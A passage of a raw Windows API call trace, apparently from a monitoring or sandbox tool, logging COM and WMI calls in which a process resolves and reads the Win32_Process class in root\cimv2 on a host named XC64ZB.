This=0x1b5101f8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b5100d8) returned 0x0 [0121.925] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b5100d8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0121.925] WbemLocator:IUnknown:Release (This=0x1b5100d8) returned 0x3 [0121.925] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0121.925] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0121.925] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5101f8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b5101c0) returned 0x0 [0121.925] WbemLocator:IRpcOptions:Query (in: This=0x1b5101c0, pPrx=0x1b5101f8, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0121.925] WbemLocator:IUnknown:Release (This=0x1b5101c0) returned 0x3 [0121.925] WbemLocator:IUnknown:Release (This=0x1b5101f8) returned 0x2 [0121.925] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0121.925] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0121.925] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5101f8, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x1b4cfc70) returned 0x0 [0121.925] WbemLocator:IUnknown:AddRef (This=0x1b4cfc70) returned 0x4 [0121.925] WbemLocator:IUnknown:Release (This=0x1b4cfc70) returned 0x3 [0121.925] WbemLocator:IUnknown:Release (This=0x1b4cfc70) returned 0x2 [0121.925] SysStringLen (param_1=0x0) returned 0x0 [0121.926] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aefe0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0121.926] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0121.926] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0121.926] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0121.926] WbemLocator:IUnknown:AddRef (This=0x1b5101f8) returned 0x3 [0121.926] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5101f8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b5101f8) returned 0x0 [0121.926] WbemLocator:IUnknown:Release (This=0x1b5101f8) returned 0x3 [0121.926] WbemLocator:IUnknown:Release (This=0x1b5101f8) returned 0x2 [0121.926] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0121.926] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0121.926] IWbemServices:GetObject (in: This=0x1b4cfc70, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4d97f0, ppCallResult=0x0) returned 0x0 [0122.049] IWbemClassObject:Get (in: This=0x1b4d97f0, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0122.050] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0122.050] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0122.050] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0122.050] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0122.050] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0122.050] IUnknown:Release (This=0x6124e8) returned 0x1 [0122.051] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b4d1980) returned 0x0 [0122.051] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1980, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0122.051] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1980, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x1b4afa60) returned 0x0 [0122.051] WbemDefPath:IUnknown:Release (This=0x1b4d1980) returned 0x0 [0122.051] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x1b4afa60) returned 0x0 [0122.051] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0122.051] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0122.051] WbemDefPath:IUnknown:AddRef (This=0x1b4afa60) returned 0x3 [0122.051] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0122.051] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0122.051] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b4d1e60) returned 0x0 [0122.052] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d1e60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0122.052] WbemDefPath:IUnknown:Release (This=0x1b4d1e60) returned 0x3 [0122.052] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0122.052] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0122.052] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0122.052] WbemDefPath:IUnknown:Release (This=0x1b4afa60) returned 0x2 [0122.052] WbemDefPath:IUnknown:Release (This=0x1b4afa60) returned 0x1 [0122.052] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0122.052] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0122.052] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4afa60) returned 0x0 [0122.052] WbemDefPath:IUnknown:AddRef (This=0x1b4afa60) returned 0x3 [0122.052] WbemDefPath:IUnknown:Release (This=0x1b4afa60) returned 0x2 [0122.052] WbemDefPath:IWbemPath:SetText (This=0x1b4afa60, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0122.052] IWbemClassObject:Get (in: This=0x1b4d97f0, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0122.052] SysStringByteLen (bstr="XC64ZB") returned 0xc [0122.052] SysStringByteLen (bstr="XC64ZB") returned 0xc [0122.053] IWbemClassObject:Get (in: This=0x1b4d97f0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0122.053] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0122.053] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0122.053] IWbemClassObject:Get (in: This=0x1b4d97f0, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0122.053] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0122.053] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0122.053] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0122.053] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0122.053] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0122.053] IUnknown:Release (This=0x6124e8) returned 0x1 [0122.054] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d1a00) returned 0x0 [0122.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1a00, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0122.054] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1a00, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b0120) returned 0x0 [0122.054] WbemDefPath:IUnknown:Release (This=0x1b4d1a00) returned 0x0 [0122.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b0120) returned 0x0 [0122.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0122.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0122.054] WbemDefPath:IUnknown:AddRef (This=0x1b4b0120) returned 0x3 [0122.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0122.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0122.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d1720) returned 0x0 [0122.055] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d1720, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0122.055] WbemDefPath:IUnknown:Release (This=0x1b4d1720) returned 0x3 [0122.055] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0122.055] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0122.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0122.055] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x2 [0122.055] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x1 [0122.055] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0122.055] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0122.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b0120) returned 0x0 [0122.055] WbemDefPath:IUnknown:AddRef (This=0x1b4b0120) returned 0x3 [0122.055] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x2 [0122.055] WbemDefPath:IWbemPath:SetText (This=0x1b4b0120, uMode=0x4, pszPath="") returned 0x0 [0122.055] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0122.055] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0122.055] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0122.055] IUnknown:Release (This=0x6124e8) returned 0x1 [0122.056] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d19a0) returned 0x0 [0122.056] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d19a0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0122.056] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d19a0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4aef20) returned 0x0 [0122.056] WbemDefPath:IUnknown:Release (This=0x1b4d19a0) returned 0x0 [0122.056] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4aef20) returned 0x0 [0122.056] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0122.056] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0122.057] WbemDefPath:IUnknown:AddRef (This=0x1b4aef20) returned 0x3 [0122.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0122.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0122.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d1760) returned 0x0 [0122.057] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d1760, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0122.057] WbemDefPath:IUnknown:Release (This=0x1b4d1760) returned 0x3 [0122.057] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0122.057] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0122.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0122.057] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x2 [0122.057] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x1 [0122.057] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0122.057] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0122.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, 